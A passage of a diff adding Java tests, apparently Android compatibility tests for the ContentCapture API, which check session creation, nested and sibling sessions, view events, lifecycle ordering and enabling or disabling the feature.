+        // Add View
+        final LinearLayout rootView = activity.getRootView();
+        final TextView child = newImportantView(activity, "Important I am");
+        activity.runOnUiThread(() -> rootView.addView(child));
+
+        activity.finish();
+        watcher.waitFor(DESTROYED);
+
+        final Session session = service.getOnlyFinishedSession();
+        final ContentCaptureSessionId sessionId = session.id;
+        Log.v(TAG, "session id: " + sessionId);
+
+        assertRightActivity(session, sessionId, activity);
+
+        final List<ContentCaptureEvent> events = session.getEvents();
+        Log.v(TAG, "events(" + events.size() + "): " + events);
+
+        final View grandpa = activity.getGrandParent();
+
+        // Assert just the relevant events
+
+        assertThat(events.size()).isAtLeast(6);
+        // TODO(b/122959591): figure out the child is coming first
+        assertSessionResumed(events, 0);
+        assertViewTreeStarted(events, 1);
+        assertViewAppeared(events, 2, sessionId, child, rootView.getAutofillId());
+        assertViewAppeared(events, 3, sessionId, rootView, grandpa.getAutofillId());
+        assertViewTreeFinished(events, 4);
+        assertSessionPaused(events, 5);
+    }
+
+    @Test
+    public void testAddAndRemoveImportantChildOnDifferentSession() throws Exception {
+        final CtsContentCaptureService service = enableService();
+        final ActivityWatcher watcher = startWatcher();
+
+        final ChildlessActivity activity = launchActivity();
+        watcher.waitFor(RESUMED);
+
+        final LinearLayout rootView = activity.getRootView();
+        final View grandpa = activity.getGrandParent();
+
+        final ContentCaptureSession mainSession = rootView.getContentCaptureSession();
+        final ContentCaptureSessionId mainSessionId = mainSession.getContentCaptureSessionId();
+        Log.v(TAG, "main session id: " + mainSessionId);
+
+        final ContentCaptureSession childSession = mainSession
+                .createContentCaptureSession(newContentCaptureContextBuilder("child")
+                        .build());
+        final ContentCaptureSessionId childSessionId = childSession.getContentCaptureSessionId();
+        Log.v(TAG, "child session id: " + childSessionId);
+
+        final TextView child = newImportantView(activity, "Important I am");
+        final AutofillId childId = child.getAutofillId();
+        Log.v(TAG, "childId: " + childId);
+        child.setContentCaptureSession(childSession);
+        activity.runOnUiThread(() -> rootView.addView(child));
+
+        activity.finish();
+        watcher.waitFor(DESTROYED);
+
+        final List<ContentCaptureSessionId> sessionIds = service.getAllSessionIds();
+        assertThat(sessionIds).containsExactly(mainSessionId, childSessionId).inOrder();
+
+        // Assert sessions
+        final Session mainTestSession = service.getFinishedSession(mainSessionId);
+        assertMainSessionContext(mainTestSession, activity);
+        final List<ContentCaptureEvent> mainEvents = mainTestSession.getEvents();
+        Log.v(TAG, "mainEvents(" + mainEvents.size() + "): " + mainEvents);
+
+        assertThat(mainEvents.size()).isAtLeast(5);
+        assertSessionResumed(mainEvents, 0);
+        assertViewTreeStarted(mainEvents, 1);
+        assertViewAppeared(mainEvents, 2, mainSessionId, rootView, grandpa.getAutofillId());
+        assertViewTreeFinished(mainEvents, 3);
+        assertSessionPaused(mainEvents, 4);
+
+        final Session childTestSession = service.getFinishedSession(childSessionId);
+        assertChildSessionContext(childTestSession, "child");
+        final List<ContentCaptureEvent> childEvents = childTestSession.getEvents();
+        Log.v(TAG, "childEvents(" + childEvents.size() + "): " + childEvents);
+        final int minEvents = 3;
+        assertThat(childEvents.size()).isAtLeast(minEvents);
+        assertViewTreeStarted(childEvents, 0);
+        assertViewAppeared(childEvents, 1, childSessionId, child, rootView.getAutofillId());
+        assertViewTreeFinished(childEvents, 2);
+        // TODO(b/122315042): assert parents disappeared
+    }
+
+    /**
+     * Tests scenario where new sessions are added from the main session, but they're not nested
+     * neither have views attached to them.
+     */
+    @Test
+    public void testDinamicallyManageChildlessSiblingSessions() throws Exception {
+        final CtsContentCaptureService service = enableService();
+        final ActivityWatcher watcher = startWatcher();
+
+        final ChildlessActivity activity = launchActivity();
+        watcher.waitFor(RESUMED);
+
+        final ContentCaptureSession mainSession = activity.getRootView().getContentCaptureSession();
+        final ContentCaptureSessionId mainSessionId = mainSession.getContentCaptureSessionId();
+        Log.v(TAG, "main session id: " + mainSessionId);
+
+        // Create 1st session
+        final ContentCaptureContext context1 = newContentCaptureContextBuilder("session1")
+                .build();
+        final ContentCaptureSession childSession1 = mainSession
+                .createContentCaptureSession(context1);
+        final ContentCaptureSessionId childSessionId1 = childSession1.getContentCaptureSessionId();
+        Log.v(TAG, "child session id 1: " + childSessionId1);
+
+        // Create 2nd session
+        final ContentCaptureContext context2 = newContentCaptureContextBuilder("session2")
+                .build();
+        final ContentCaptureSession childSession2 = mainSession
+                .createContentCaptureSession(context2);
+        final ContentCaptureSessionId childSessionId2 = childSession2.getContentCaptureSessionId();
+        Log.v(TAG, "child session id 2: " + childSessionId2);
+
+        // Close 1st session before opening 3rd
+        childSession1.close();
+
+        // Create 3nd session...
+        final ContentCaptureContext context3 = newContentCaptureContextBuilder("session3")
+                .build();
+        final ContentCaptureSession childSession3 = mainSession
+                .createContentCaptureSession(context3);
+        final ContentCaptureSessionId childSessionId3 = childSession3.getContentCaptureSessionId();
+        Log.v(TAG, "child session id 3: " + childSessionId3);
+
+        // ...and close it right away
+        childSession3.close();
+
+        // Create 4nd session
+        final ContentCaptureContext context4 = newContentCaptureContextBuilder("session4")
+                .build();
+        final ContentCaptureSession childSession4 = mainSession
+                .createContentCaptureSession(context4);
+        final ContentCaptureSessionId childSessionId4 = childSession4.getContentCaptureSessionId();
+        Log.v(TAG, "child session id 4: " + childSessionId4);
+
+        activity.finish();
+        watcher.waitFor(DESTROYED);
+
+        final List<ContentCaptureSessionId> receivedIds = service.getAllSessionIds();
+        assertThat(receivedIds).containsExactly(
+                mainSessionId,
+                childSessionId1,
+                childSessionId2,
+                childSessionId3,
+                childSessionId4)
+            .inOrder();
+
+        // Assert main sessions info
+        final Session mainTestSession = service.getFinishedSession(mainSessionId);
+        assertMainSessionContext(mainTestSession, activity);
+
+        final Session childTestSession1 = service.getFinishedSession(childSessionId1);
+        assertChildSessionContext(childTestSession1, "session1");
+
+        final Session childTestSession2 = service.getFinishedSession(childSessionId2);
+        assertChildSessionContext(childTestSession2, "session2");
+
+        final Session childTestSession3 = service.getFinishedSession(childSessionId3);
+        assertChildSessionContext(childTestSession3, "session3");
+
+        final Session childTestSession4 = service.getFinishedSession(childSessionId4);
+        assertChildSessionContext(childTestSession4, "session4");
+
+        // Gets all events first so they're all logged before the assertions
+        final List<ContentCaptureEvent> mainEvents = mainTestSession.getEvents();
+        final List<ContentCaptureEvent> events1 = childTestSession1.getEvents();
+        final List<ContentCaptureEvent> events2 = childTestSession2.getEvents();
+        final List<ContentCaptureEvent> events3 = childTestSession3.getEvents();
+        final List<ContentCaptureEvent> events4 = childTestSession4.getEvents();
+        Log.v(TAG, "mainEvents(" + mainEvents.size() + "): " + mainEvents);
+        Log.v(TAG, "events1(" + events1.size() + "): " + events1);
+        Log.v(TAG, "events2(" + events2.size() + "): " + events2);
+        Log.v(TAG, "events3(" + events3.size() + "): " + events3);
+        Log.v(TAG, "events4(" + events4.size() + "): " + events4);
+
+        assertNoViewLevelEvents(mainTestSession, activity);
+        assertThat(events1).isEmpty();
+        assertThat(events2).isEmpty();
+        assertThat(events3).isEmpty();
+        assertThat(events4).isEmpty();
+
+        // Assert lifecycle methods were called in the right order
+        assertLifecycleOrder(1, mainTestSession,   CREATION);
+        assertLifecycleOrder(2, childTestSession1, CREATION);
+        assertLifecycleOrder(3, childTestSession2, CREATION);
+        assertLifecycleOrder(4, childTestSession1, DESTRUCTION);
+        assertLifecycleOrder(5, childTestSession3, CREATION);
+        assertLifecycleOrder(6, childTestSession3, DESTRUCTION);
+        assertLifecycleOrder(7, childTestSession4, CREATION);
+        assertLifecycleOrder(8, childTestSession2, DESTRUCTION);
+        assertLifecycleOrder(9, childTestSession4, DESTRUCTION);
+        assertLifecycleOrder(10, mainTestSession,  DESTRUCTION);
+    }
+
+    @Test
+    public void testDinamicallyAddOneChildOnAnotherSession_manuallyCloseSession() throws Exception {
+        dinamicallyAddOneChildOnAnotherSessionTest(/* manuallyCloseSession= */ true);
+    }
+
+    @Test
+    public void testDinamicallyAddOneChildOnAnotherSession_autoCloseSession() throws Exception {
+        dinamicallyAddOneChildOnAnotherSessionTest(/* manuallyCloseSession= */ false);
+    }
+
+    /**
+     * Tests scenario where just 1 session with 1 dinamically added view is created.
+     */
+    private void dinamicallyAddOneChildOnAnotherSessionTest(boolean manuallyCloseSession)
+            throws Exception {
+        final CtsContentCaptureService service = enableService();
+        final ActivityWatcher watcher = startWatcher();
+
+        final ChildlessActivity activity = launchActivity();
+        watcher.waitFor(RESUMED);
+        final ContentCaptureSession mainSession = activity.getRootView().getContentCaptureSession();
+        final ContentCaptureSessionId mainSessionId = mainSession.getContentCaptureSessionId();
+        Log.v(TAG, "main session id: " + mainSessionId);
+
+        // Create session
+        final ContentCaptureSession childSession = mainSession
+                .createContentCaptureSession(
+                        newContentCaptureContextBuilder("child_session").build());
+        final ContentCaptureSessionId childSessionId = childSession.getContentCaptureSessionId();
+        Log.v(TAG, "child session: " + childSessionId);
+
+        final TextView child = addChild(activity, childSession, "Sweet O'Mine");
+        if (manuallyCloseSession) {
+            waitAndClose(childSession);
+        }
+
+        activity.finish();
+        watcher.waitFor(DESTROYED);
+
+        final List<ContentCaptureSessionId> receivedIds = service.getAllSessionIds();
+        assertThat(receivedIds).containsExactly(mainSessionId, childSessionId).inOrder();
+
+        // Assert main session
+        final Session mainTestSession = service.getFinishedSession(mainSessionId);
+        assertMainSessionContext(mainTestSession, activity);
+        // TODO(b/123540067): ideally it should be empty, but has intermediate parents stuff...
+        // assertThat(mainTestSession.getEvents()).isEmpty();
+
+        // Assert child session
+        final Session childTestSession = service.getFinishedSession(childSessionId);
+        assertChildSessionContext(childTestSession, "child_session");
+        final List<ContentCaptureEvent> childEvents = childTestSession.getEvents();
+        assertThat(childEvents.size()).isAtLeast(3);
+        final AutofillId rootId = activity.getRootView().getAutofillId();
+        assertViewTreeStarted(childEvents, 0);
+        assertViewAppeared(childEvents, 1, child, rootId);
+        assertViewTreeFinished(childEvents, 2);
+
+        // Assert lifecycle methods were called in the right order
+        assertLifecycleOrder(1, mainTestSession,  CREATION);
+        assertLifecycleOrder(2, childTestSession, CREATION);
+        assertLifecycleOrder(3, childTestSession, DESTRUCTION);
+        assertLifecycleOrder(4, mainTestSession, DESTRUCTION);
+    }
+
+    /**
+     * Tests scenario where new sessions with children are added from the main session.
+     */
+    @Test
+    public void testDinamicallyManageSiblingSessions() throws Exception {
+        final CtsContentCaptureService service = enableService();
+        final ActivityWatcher watcher = startWatcher();
+
+        final ChildlessActivity activity = launchActivity();
+        watcher.waitFor(RESUMED);
+        final LinearLayout rootView = activity.getRootView();
+        final ContentCaptureSession mainSession = rootView.getContentCaptureSession();
+        final ContentCaptureSessionId mainSessionId = mainSession.getContentCaptureSessionId();
+        Log.v(TAG, "main session id: " + mainSessionId);
+
+        // Create 1st session
+        final ContentCaptureContext context1 = newContentCaptureContextBuilder("session1")
+                .build();
+        final ContentCaptureSession childSession1 = mainSession
+                .createContentCaptureSession(context1);
+        final ContentCaptureSessionId childSessionId1 = childSession1.getContentCaptureSessionId();
+        Log.v(TAG, "child session id 1: " + childSessionId1);
+
+        // Session 1, child 1
+        final TextView s1c1 = addChild(activity, childSession1, "s1c1");
+
+        // Create 2nd session
+        final ContentCaptureContext context2 = newContentCaptureContextBuilder("session2")
+                .build();
+        final ContentCaptureSession childSession2 = mainSession
+                .createContentCaptureSession(context2);
+        final ContentCaptureSessionId childSessionId2 = childSession2.getContentCaptureSessionId();
+        Log.v(TAG, "child session id 2: " + childSessionId2);
+
+        final TextView s2c1 = newImportantView(activity, childSession2, "s2c1");
+        final TextView s2c2 = newImportantView(activity, childSession2, "s2c1");
+
+        // Add 2 children together so they're wrapped a view_tree batch
+        activity.runOnUiThread(() -> {
+            rootView.addView(s2c1);
+            rootView.addView(s2c2);
+        });
+
+        // Close 1st session before opening 3rd
+        waitAndClose(childSession1);
+
+        // Create 3nd session...
+        final ContentCaptureContext context3 = newContentCaptureContextBuilder("session3")
+                .build();
+        final ContentCaptureSession childSession3 = mainSession
+                .createContentCaptureSession(context3);
+        final ContentCaptureSessionId childSessionId3 = childSession3.getContentCaptureSessionId();
+        Log.v(TAG, "child session id 3: " + childSessionId3);
+
+        final TextView s3c1 = newImportantView(activity, childSession3, "s3c1");
+        final TextView s3c2 = newImportantView(activity, childSession3, "s3c1");
+        final TextView s3c3 = newImportantView(activity, childSession3, "s3c3");
+
+        // Add 2 children together so they're wrapped a view_tree batch
+        activity.runOnUiThread(() -> {
+            rootView.addView(s3c1);
+            rootView.addView(s3c2);
+        });
+
+        // TODO(b/123024698): need to wait until the 4 events are flushed - ideally we should block
+        // waiting until the service received them
+        sleep();
+
+        // Add 2 children so they're wrapped a view_tree batch
+        activity.runOnUiThread(() -> {
+            rootView.removeView(s3c1);
+            rootView.addView(s3c3);
+        });
+
+        // ...and close it right away
+        waitAndClose(childSession3);
+
+        // Create 4nd session
+        final ContentCaptureContext context4 = newContentCaptureContextBuilder("session4")
+                .build();
+        final ContentCaptureSession childSession4 = mainSession
+                .createContentCaptureSession(context4);
+        final ContentCaptureSessionId childSessionId4 = childSession4.getContentCaptureSessionId();
+        Log.v(TAG, "child session id 4: " + childSessionId4);
+
+        activity.finish();
+        watcher.waitFor(DESTROYED);
+
+        final List<ContentCaptureSessionId> receivedIds = service.getAllSessionIds();
+        assertThat(receivedIds).containsExactly(
+                mainSessionId,
+                childSessionId1,
+                childSessionId2,
+                childSessionId3,
+                childSessionId4)
+            .inOrder();
+
+        // Assert main sessions info
+        final Session mainTestSession = service.getFinishedSession(mainSessionId);
+        assertMainSessionContext(mainTestSession, activity);
+        final List<ContentCaptureEvent> mainEvents = mainTestSession.getEvents();
+        Log.v(TAG, "main session events(" + mainEvents.size() + "): " + mainEvents);
+
+        // Gets all events first so they're all logged before the assertions
+        final Session childTestSession1 = service.getFinishedSession(childSessionId1);
+        assertChildSessionContext(childTestSession1, "session1");
+        final List<ContentCaptureEvent> events1 = childTestSession1.getEvents();
+        Log.v(TAG, "events1(" + events1.size() + "): " + events1);
+
+        final Session childTestSession2 = service.getFinishedSession(childSessionId2);
+        final List<ContentCaptureEvent> events2 = childTestSession2.getEvents();
+        assertChildSessionContext(childTestSession2, "session2");
+        Log.v(TAG, "events2(" + events2.size() + "): " + events2);
+        final Session childTestSession3 = service.getFinishedSession(childSessionId3);
+        assertChildSessionContext(childTestSession3, "session3");
+        List<ContentCaptureEvent> events3 = childTestSession3.getEvents();
+        Log.v(TAG, "events3(" + events3.size() + "): " + events3);
+
+        final AutofillId rootId = rootView.getAutofillId();
+        final View grandpa = activity.getGrandParent();
+
+        assertThat(mainEvents).hasSize(8);
+        assertSessionResumed(mainEvents, 0);
+        assertViewTreeStarted(mainEvents, 1);
+        assertViewAppeared(mainEvents, 2, rootView, grandpa.getAutofillId());
+        assertViewTreeFinished(mainEvents, 3);
+        assertSessionPaused(mainEvents, 4); // TODO(b/122959591): investigate why
+        assertViewTreeStarted(mainEvents, 5);
+        assertViewDisappeared(mainEvents, 6, rootId);
+        assertViewTreeFinished(mainEvents, 7);
+
+        assertThat(events1).hasSize(3);
+        assertViewTreeStarted(events1, 0);
+        assertViewAppeared(events1, 1, s1c1, rootId);
+        assertViewTreeFinished(events1, 2);
+
+        assertThat(events2.size()).isAtLeast(4);
+        assertViewTreeStarted(events2, 0);
+        assertViewAppeared(events2, 1, s2c1, rootId);
+        assertViewAppeared(events2, 2, s2c2, rootId);
+        assertViewTreeFinished(events2, 3);
+        // TODO(b/122315042): assert parents disappeared
+
+        assertThat(events3).hasSize(8);
+        assertViewTreeStarted(events3, 0);
+        assertViewAppeared(events3, 1, s3c1, rootId);
+        assertViewAppeared(events3, 2, s3c2, rootId);
+        assertViewTreeFinished(events3, 3);
+        assertViewTreeStarted(events3, 4);
+        assertViewDisappeared(events3, 5, s3c1.getAutofillId());
+        assertViewAppeared(events3, 6, s3c3, rootId);
+        assertViewTreeFinished(events3, 7);
+
+        final Session childTestSession4 = service.getFinishedSession(childSessionId4);
+        assertChildSessionContext(childTestSession4, "session4");
+        assertThat(childTestSession4.getEvents()).isEmpty();
+
+        // Assert lifecycle methods were called in the right order
+        assertLifecycleOrder(1, mainTestSession,   CREATION);
+        assertLifecycleOrder(2, childTestSession1, CREATION);
+        assertLifecycleOrder(3, childTestSession2, CREATION);
+        assertLifecycleOrder(4, childTestSession1, DESTRUCTION);
+        assertLifecycleOrder(5, childTestSession3, CREATION);
+        assertLifecycleOrder(6, childTestSession3, DESTRUCTION);
+        assertLifecycleOrder(7, childTestSession4, CREATION);
+        assertLifecycleOrder(8, childTestSession2, DESTRUCTION);
+        assertLifecycleOrder(9, childTestSession4, DESTRUCTION);
+        assertLifecycleOrder(10, mainTestSession,  DESTRUCTION);
+    }
+
+    @Test
+    public void testNestedSessions_simplestScenario() throws Exception {
+        final CtsContentCaptureService service = enableService();
+        final ActivityWatcher watcher = startWatcher();
+
+        final ChildlessActivity activity = launchActivity();
+        watcher.waitFor(RESUMED);
+
+        final ContentCaptureSession mainSession = activity.getRootView().getContentCaptureSession();
+        final ContentCaptureSessionId mainSessionId = mainSession.getContentCaptureSessionId();
+        Log.v(TAG, "main session id: " + mainSessionId);
+
+        // Create child session
+        final ContentCaptureContext childContext = newContentCaptureContextBuilder("child")
+                .build();
+        final ContentCaptureSession childSession = mainSession
+                .createContentCaptureSession(childContext);
+        final ContentCaptureSessionId childSessionId = childSession.getContentCaptureSessionId();
+        Log.v(TAG, "child session id: " + childSessionId);
+
+        // Create grand child session
+        final ContentCaptureContext grandChild = newContentCaptureContextBuilder("grandChild")
+                .build();
+        final ContentCaptureSession grandChildSession = childSession
+                .createContentCaptureSession(grandChild);
+        final ContentCaptureSessionId grandChildSessionId = grandChildSession
+                .getContentCaptureSessionId();
+        Log.v(TAG, "child session id: " + grandChildSessionId);
+
+        activity.finish();
+        watcher.waitFor(DESTROYED);
+
+        final List<ContentCaptureSessionId> receivedIds = service.getAllSessionIds();
+        assertThat(receivedIds).containsExactly(
+                mainSessionId,
+                childSessionId,
+                grandChildSessionId)
+            .inOrder();
+
+        // Assert sessions
+        final Session mainTestSession = service.getFinishedSession(mainSessionId);
+        assertMainSessionContext(mainTestSession, activity);
+        assertNoViewLevelEvents(mainTestSession, activity);
+
+        final Session childTestSession = service.getFinishedSession(childSessionId);
+        assertChildSessionContext(childTestSession, "child");
+        assertThat(childTestSession.getEvents()).isEmpty();
+
+        final Session grandChildTestSession = service.getFinishedSession(grandChildSessionId);
+        assertChildSessionContext(grandChildTestSession, "grandChild");
+        assertThat(grandChildTestSession.getEvents()).isEmpty();
+
+        // Assert lifecycle methods were called in the right order
+        assertLifecycleOrder(1, mainTestSession, CREATION);
+        assertLifecycleOrder(2, childTestSession, CREATION);
+        assertLifecycleOrder(3, grandChildTestSession, CREATION);
+        assertLifecycleOrder(4, grandChildTestSession, DESTRUCTION);
+        assertLifecycleOrder(5, childTestSession, DESTRUCTION);
+        assertLifecycleOrder(6, mainTestSession,  DESTRUCTION);
+    }
+
+    /**
+     * Tests scenario where new sessions are added from each other session, but they're not nested
+     * neither have views attached to them.
+     *
+     * <p>This test actions are exactly the same as
+     * {@link #testDinamicallyManageChildlessSiblingSessions()}, except for session nesting (and
+     * order of lifecycle events).
+     */
+    @Test
+    public void testDinamicallyManageChildlessNestedSessions() throws Exception {
+        final CtsContentCaptureService service = enableService();
+        final ActivityWatcher watcher = startWatcher();
+
+        final ChildlessActivity activity = launchActivity();
+        watcher.waitFor(RESUMED);
+
+        final ContentCaptureSession mainSession = activity.getRootView().getContentCaptureSession();
+        final ContentCaptureSessionId mainSessionId = mainSession.getContentCaptureSessionId();
+        Log.v(TAG, "main session id: " + mainSessionId);
+
+        // Create 1st session
+        final ContentCaptureContext context1 = newContentCaptureContextBuilder("session1")
+                .build();
+        final ContentCaptureSession childSession1 = mainSession
+                .createContentCaptureSession(context1);
+        final ContentCaptureSessionId childSessionId1 = childSession1.getContentCaptureSessionId();
+        Log.v(TAG, "child session id 1: " + childSessionId1);
+
+        // Create 2nd session
+        final ContentCaptureContext context2 = newContentCaptureContextBuilder("session2")
+                .build();
+        final ContentCaptureSession childSession2 = childSession1
+                .createContentCaptureSession(context2);
+        final ContentCaptureSessionId childSessionId2 = childSession2.getContentCaptureSessionId();
+        Log.v(TAG, "child session id 2: " + childSessionId2);
+
+        // Close 1st session before opening 3rd
+        childSession1.close();
+
+        // Create 3nd session...
+        final ContentCaptureContext context3 = newContentCaptureContextBuilder("session3")
+                .build();
+        final ContentCaptureSession childSession3 = mainSession
+                .createContentCaptureSession(context3);
+        final ContentCaptureSessionId childSessionId3 = childSession3.getContentCaptureSessionId();
+        Log.v(TAG, "child session id 3: " + childSessionId3);
+
+        // ...and close it right away
+        childSession3.close();
+
+        // Create 4nd session
+        final ContentCaptureContext context4 = newContentCaptureContextBuilder("session4")
+                .build();
+        final ContentCaptureSession childSession4 = mainSession
+                .createContentCaptureSession(context4);
+        final ContentCaptureSessionId childSessionId4 = childSession4.getContentCaptureSessionId();
+        Log.v(TAG, "child session id 4: " + childSessionId4);
+
+        activity.finish();
+        watcher.waitFor(DESTROYED);
+
+        final List<ContentCaptureSessionId> receivedIds = service.getAllSessionIds();
+        assertThat(receivedIds).containsExactly(
+                mainSessionId,
+                childSessionId1,
+                childSessionId2,
+                childSessionId3,
+                childSessionId4)
+            .inOrder();
+
+        // Assert main sessions info
+        final Session mainTestSession = service.getFinishedSession(mainSessionId);
+        assertMainSessionContext(mainTestSession, activity);
+        assertNoViewLevelEvents(mainTestSession, activity);
+
+        final Session childTestSession1 = service.getFinishedSession(childSessionId1);
+        assertChildSessionContext(childTestSession1, "session1");
+        assertThat(childTestSession1.getEvents()).isEmpty();
+
+        final Session childTestSession2 = service.getFinishedSession(childSessionId2);
+        assertChildSessionContext(childTestSession2, "session2");
+        assertThat(childTestSession2.getEvents()).isEmpty();
+
+        final Session childTestSession3 = service.getFinishedSession(childSessionId3);
+        assertChildSessionContext(childTestSession3, "session3");
+        assertThat(childTestSession3.getEvents()).isEmpty();
+
+        final Session childTestSession4 = service.getFinishedSession(childSessionId4);
+        assertChildSessionContext(childTestSession4, "session4");
+        assertThat(childTestSession4.getEvents()).isEmpty();
+
+        // Assert lifecycle methods were called in the right order
+        assertLifecycleOrder(1, mainTestSession,   CREATION);
+        assertLifecycleOrder(2, childTestSession1, CREATION);
+        assertLifecycleOrder(3, childTestSession2, CREATION);
+        assertLifecycleOrder(4, childTestSession2, DESTRUCTION);
+        assertLifecycleOrder(5, childTestSession1, DESTRUCTION);
+        assertLifecycleOrder(6, childTestSession3, CREATION);
+        assertLifecycleOrder(7, childTestSession3, DESTRUCTION);
+        assertLifecycleOrder(8, childTestSession4, CREATION);
+        assertLifecycleOrder(9, childTestSession4, DESTRUCTION);
+        assertLifecycleOrder(10, mainTestSession,  DESTRUCTION);
+    }
+
+    /**
+     * Tests scenario where views from different session are removed in sequence - they should not
+     * have been batched.
+     */
+    @Test
+    public void testRemoveChildrenFromDifferentSessions() throws Exception {
+        final CtsContentCaptureService service = enableService();
+        final ActivityWatcher watcher = startWatcher();
+
+        final ChildlessActivity activity = launchActivity();
+        watcher.waitFor(RESUMED);
+        final LinearLayout rootView = activity.getRootView();
+        final ContentCaptureSession mainSession = rootView.getContentCaptureSession();
+        final ContentCaptureSessionId mainSessionId = mainSession.getContentCaptureSessionId();
+        Log.v(TAG, "main session id: " + mainSessionId);
+
+        // Create 1st session
+        final ContentCaptureContext context1 = newContentCaptureContextBuilder("session1")
+                .build();
+        final ContentCaptureSession childSession1 = mainSession
+                .createContentCaptureSession(context1);
+        final ContentCaptureSessionId childSessionId1 = childSession1.getContentCaptureSessionId();
+        Log.v(TAG, "child session id 1: " + childSessionId1);
+
+        // Session 1, child 1
+        final TextView s1c1 = addChild(activity, childSession1, "s1c1");
+        final AutofillId s1c1Id = s1c1.getAutofillId();
+        Log.v(TAG, "childrens from session1: " + s1c1Id);
+
+        // Create 2nd session
+        final ContentCaptureContext context2 = newContentCaptureContextBuilder("session2")
+                .build();
+        final ContentCaptureSession childSession2 = mainSession
+                .createContentCaptureSession(context2);
+        final ContentCaptureSessionId childSessionId2 = childSession2.getContentCaptureSessionId();
+        Log.v(TAG, "child session id 2: " + childSessionId2);
+
+        final TextView s2c1 = newImportantView(activity, childSession2, "s2c1");
+        final AutofillId s2c1Id = s2c1.getAutofillId();
+        final TextView s2c2 = newImportantView(activity, childSession2, "s2c2");
+        final AutofillId s2c2Id = s2c2.getAutofillId();
+        Log.v(TAG, "childrens from session2: " + s2c1Id + ", " + s2c2Id);
+
+        // Add 2 children together so they're wrapped a view_tree batch
+        activity.syncRunOnUiThread(() -> {
+            rootView.addView(s2c1);
+            rootView.addView(s2c2);
+        });
+
+        // Remove views - should generate one batch event for s2 and one single event for s1
+        waitAndRemoveViews(activity, s2c1, s2c2, s1c1);
+
+        activity.finish();
+        watcher.waitFor(DESTROYED);
+
+        final List<ContentCaptureSessionId> receivedIds = service.getAllSessionIds();
+        assertThat(receivedIds).containsExactly(
+                mainSessionId,
+                childSessionId1,
+                childSessionId2)
+            .inOrder();
+
+        // Assert main sessions info
+        final Session mainTestSession = service.getFinishedSession(mainSessionId);
+        assertMainSessionContext(mainTestSession, activity);
+        final List<ContentCaptureEvent> mainEvents = mainTestSession.getEvents();
+        Log.v(TAG, "mainEvents(" + mainEvents.size() + "): " + mainEvents);
+
+        // Logs events before asserting
+        final Session childTestSession1 = service.getFinishedSession(childSessionId1);
+        assertChildSessionContext(childTestSession1, "session1");
+        final List<ContentCaptureEvent> events1 = childTestSession1.getEvents();
+        Log.v(TAG, "events1(" + events1.size() + "): " + events1);
+        final Session childTestSession2 = service.getFinishedSession(childSessionId2);
+        final List<ContentCaptureEvent> events2 = childTestSession2.getEvents();
+        assertChildSessionContext(childTestSession2, "session2");
+        Log.v(TAG, "events2(" + events2.size() + "): " + events2);
+
+        // Assert children
+        assertThat(events1.size()).isAtLeast(6);
+        final AutofillId rootId = rootView.getAutofillId();
+        assertViewTreeStarted(events1, 0);
+        assertViewAppeared(events1, 1, s1c1, rootId);
+        assertViewTreeFinished(events1, 2);
+        assertViewTreeStarted(events1, 3);
+        assertViewDisappeared(events1, 4, s1c1Id);
+        assertViewTreeFinished(events1, 5);
+
+        assertThat(events2.size()).isAtLeast(7);
+        assertViewTreeStarted(events2, 0);
+        assertViewAppeared(events2, 1, s2c1, rootId);
+        assertViewAppeared(events2, 2, s2c2, rootId);
+        assertViewTreeFinished(events2, 3);
+        assertViewTreeStarted(events2, 4);
+        assertViewsDisappeared(events2, 5, s2c1Id, s2c2Id);
+        assertViewTreeFinished(events2, 6);
+    }
+
+    /* TODO(b/119638528): add more scenarios for nested sessions, such as:
+     * - add views to the children sessions
+     * - s1 -> s2 -> s3 and main -> s4; close(s1) then generate events on view from s3
+     * - s1 -> s2 -> s3 and main -> s4; close(s2) then generate events on view from s3
+     * - s1 -> s2 and s3->s4 -> s4
+     * - etc
+     */
+
+    private enum DisabledReason {
+        BY_API,
+        BY_SETTINGS,
+        BY_DEVICE_CONFIG
+    }
+
+    private void setFeatureEnabled(@NonNull CtsContentCaptureService service,
+            @NonNull DisabledReason reason,
+            boolean enabled) {
+        switch (reason) {
+            case BY_API:
+                if (enabled) {
+                    // The service cannot re-enable itself, so we use settings instead.
+                    setFeatureEnabledBySettings(true);
+                } else {
+                    service.disableSelf();
+                }
+                break;
+            case BY_SETTINGS:
+                setFeatureEnabledBySettings(enabled);
+                break;
+            case BY_DEVICE_CONFIG:
+                setFeatureEnabledByDeviceConfig(Boolean.toString(enabled));
+                break;
+            default:
+                throw new IllegalArgumentException("invalid reason: " + reason);
+        }
+    }
+
+    @Test
+    public void testIsContentCaptureFeatureEnabled_notService() throws Exception {
+        final ContentCaptureManager mgr = getContentCaptureManagerHack();
+        assertThrows(SecurityException.class,  () -> mgr.isContentCaptureFeatureEnabled());
+    }
+
+    @Test
+    public void testSetContentCaptureFeatureEnabled_disabledBySettings() throws Exception {
+        setContentCaptureFeatureEnabledTest_disabled(DisabledReason.BY_SETTINGS);
+    }
+
+    private void setContentCaptureFeatureEnabledTest_disabled(@NonNull DisabledReason reason)
+            throws Exception {
+        final ContentCaptureManager mgr = getContentCaptureManagerHack();
+
+        final CtsContentCaptureService service = enableService();
+        assertThat(mgr.isContentCaptureFeatureEnabled()).isTrue();
+        final DisconnectListener disconnectedListener = service.setOnDisconnectListener();
+
+        setFeatureEnabled(service, reason, /* enabled= */ false);
+
+        disconnectedListener.waitForOnDisconnected();
+        assertThat(mgr.isContentCaptureFeatureEnabled()).isFalse();
+        assertThat(mgr.isContentCaptureEnabled()).isFalse();
+
+        final ActivityWatcher watcher = startWatcher();
+        final ChildlessActivity activity = launchActivity();
+
+        watcher.waitFor(RESUMED);
+        activity.finish();
+        watcher.waitFor(DESTROYED);
+
+        assertThat(service.getAllSessionIds()).isEmpty();
+    }
+
+    @Test
+    public void testSetContentCaptureFeatureEnabled_disabledThenReEnabledBySettings()
+            throws Exception {
+        setContentCaptureFeatureEnabledTest_disabledThenReEnabled(DisabledReason.BY_SETTINGS);
+    }
+
+    private void setContentCaptureFeatureEnabledTest_disabledThenReEnabled(
+            @NonNull DisabledReason reason) throws Exception {
+        final ContentCaptureManager mgr = getContentCaptureManagerHack();
+
+        final CtsContentCaptureService service1 = enableService();
+        assertThat(mgr.isContentCaptureFeatureEnabled()).isTrue();
+        final DisconnectListener disconnectedListener = service1.setOnDisconnectListener();
+
+        setFeatureEnabled(service1, reason, /* enabled= */ false);
+        disconnectedListener.waitForOnDisconnected();
+
+        assertThat(mgr.isContentCaptureFeatureEnabled()).isFalse();
+        assertThat(mgr.isContentCaptureEnabled()).isFalse();
+
+        // Launch and finish 1st activity while it's disabled
